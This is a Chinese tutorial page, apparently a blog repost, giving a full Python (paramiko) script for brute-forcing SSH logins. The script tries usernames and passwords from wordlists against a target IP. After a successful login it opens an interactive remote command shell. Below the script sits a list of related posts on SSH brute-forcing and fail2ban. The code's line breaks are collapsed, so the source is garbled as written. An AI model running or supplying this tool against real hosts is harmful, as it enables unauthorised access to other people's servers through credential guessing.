python 实现ssh爆破
import paramiko
import argparse
import sysdef sshbrute(user,passw,host):# 设置 flag 为 0 ,在成功登录的时候再置为 1 flag = 0try:# 使用 paramiko.SSHClient 创建 ssh 对象ssh = paramiko.SSHClient()# 允许将信任的主机自动加入到host_allow 列表,此方法必须放在connect方法的前面,接受对方的公钥证书ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 登录 ssh,连接失败则抛出 异常 跳转到 except ,成功则继续执行ssh.connect(hostname=host,port=22,username=user,password=passw,timeout=1)# 打印出成功登录的 用户名 和 密码print("login success! User:"+user,"Pass:"+passw)# 把 flag 置为 1flag = 1except:# 打印出 登录失败 的 用户名 和 密码print("login failed!","user:"+user,"pass:"+passw)# 如果 flag 为 1,则进入 terminalif flag == 1:while True:# 获取 输入的命令input_command = input(">>")# 如果 输入 quit 就关闭 ssh 连接,并退出程序if input_command == 'quit':print("byebye~~")ssh.close()exit(0)# 执行 输入的命令stdin,stdout,stderr = ssh.exec_command(input_command)# 获取 返回的结果 并打印result = stdout.read()print(str(result,'utf-8'))if __name__ == "__main__":# 自定义接受参数parse = argparse.ArgumentParser("python3 "+sys.argv[0])parse.add_argument("-u <USER>","--user",help="login with user name")parse.add_argument("-U <USERFILE>","--userfile",help="load user from USERfile")parse.add_argument("-p <PASS>","--passwd",help="try passwd with PASS")parse.add_argument("-P <PASSFILE>","--passfile",help="load PASS from PASSFILE")parse.add_argument("-t","--target",help="client ip ")# 把接受到的参数保存在变量中args = parse.parse_args()user = args.userpassw = args.passwdtarget = args.targetufile = args.userfilepfile = args.passfile# 判断 target 是否存在if not target:print("target not set! use -h to get help!")exit(0)# 如果 输入了 -U 和 -P 参数则循环读出 ufile 中的 用户名 和 pfile 中的密码if ufile and pfile:tmp_ufile = open(ufile,'r')tmp_pfile = open(pfile,'r')# 循环输入用户名for a in tmp_ufile.readlines():tmp_pfile = open(pfile,'r')# 循环输入密码for b in tmp_pfile.readlines():sshbrute(a.replace('\n',''),b.replace('\n',''),target)# 密码读取完后需要关闭 在下一次读取的时候重新打开tmp_pfile.close()tmp_ufile.close()# 如果 输入了 -P 和 -u 则循环读出 pfile 中的 密码,用 <user> 和 pfile中的密码登录 elif pfile and user:tmp_pfile = open(pfile,'r')res_pfile = tmp_pfile.readlines()tmp_pfile.close()for i in res_pfile:sshbrute(user,i.replace('\n',''),target)# 如果 输入了 -U 和 -p 就循环读出 ufile 中的用户名,用 <passw> 和 ufile中的用户名登录elif ufile and passw:tmp_ufile = open(ufile,'r')res_ufile = tmp_ufile.readlines()tmp_ufile.close()for i in res_ufile:sshbrute(i.replace('\n',''),passw,target)# 如果直接给出了 用户名和密码 则直接使用给出的用户名和密码登录elif user and passw:sshbrute(user,passw,target)
python 实现ssh爆破相关推荐
- python ssh 爆破_ssh爆破(python脚本)
最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本 #!/usr/local/bin/ python # -*- coding: UTF-8 -*- __author__ = 'yangxi ...
- Python SSH爆破以及Python3线程池控制线程数
源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8__author__ ...
- CentOS 7安装fail2ban+Firewalld防止SSH爆破
一.前言 fail2ban可以监视你的系统日志,然后匹配日志的错误信息执行相应的屏蔽动作.网上大部分教程都是关于fail2ban+iptables组合,考虑到CentOS 7已经自带Firewalld ...
- 一次SSH爆破攻击haiduc工具的应急响应
一.概述 2022年3月底,在网络安全监测中发现某网络攻击组织利用SSH爆破投放挖矿程序的活动比较活跃,主要涉及的是一个haiduc的工具. 二.检测定位阶段工作说明 2.1.异常现象确认 服务器被植 ...
- 审计系统---堡垒机python下ssh的使用
堡垒机python下ssh的使用 [堡垒机更多参考]http://www.cnblogs.com/alex3714/articles/5286889.html [paramiko的Demo实例]htt ...
- python通过ssh通道连接PostgreSQL数据库(mysql等类同)
目录 一.问题需求 二.解决办法 一.问题需求 对于有ssh通道设置的数据库连接,遇到已经有一段时间了.之前老是疑惑,使用Navicat之类的工具就可以连接数据库,但用python就是连接不到.之前写 ...
- 如何登linux陆数据库,python通过SSH登陆linux并操作的实现.pdf
python通通过过SSH登登陆陆linux并并操操作作的的实实现现 这篇文章主要介绍了python通过SSH登陆linux并操作的实现,文中通过示例代码介绍的非常详细,对大家的学习 或者工作具有一定 ...
- Python使用SSH代理访问远程Docker
Python使用SSH代理访问远程Docker Docker 20.10.17 Python 2.7 1 前言 Python中有个叫docker-py的客户端库用来操作docker,关于docker- ...
- python远程ssh连接linux
python远程ssh连接linux 1.安装第三方库paramiko pip install paramiko 2.创建ssh客户端,并连接 ssh = paramiko.SSHClient()# ...
最新文章
- BZOJ3083: 遥远的国度(树链剖分)
- tomcat多个端口对应多个web应用
- linux如何判断同名进程个数,Linux下判断是否存在多个同名进程
- Qt图形界面编程入门(标签与槽机制习题分享)
- Spring jdbc Template和Spring 事务管理
- 19 MM配置-BP业务伙伴-定义编码范围
- java 对象protected,Java对象类protected void finalize throws Throwable方法示例
- 判断conime.exe是不是病毒!
- html 网页表格居中,网页中表格如何居中
- 阿里云服务器配置docker及其使用
- html5移动端选择城市,移动端城市选择插件(原创)
- 基于PHP服装购物网站的设计与实现
- vue中trigger用法
- Python暴力破解教程: Zip加密文件, pdf加密书籍在线爆破!
- Java使用Imageio拆分gif图片时保存的图片变为黑色
- Android的读写文件权限
- op 分析 这个绝对值电路OP1是怎么工作的?
- HTML5-canvas标签结合简单实例讲解
- Unity 第三人称 摄像机
- jQuery实现图片卡片层叠式切换效果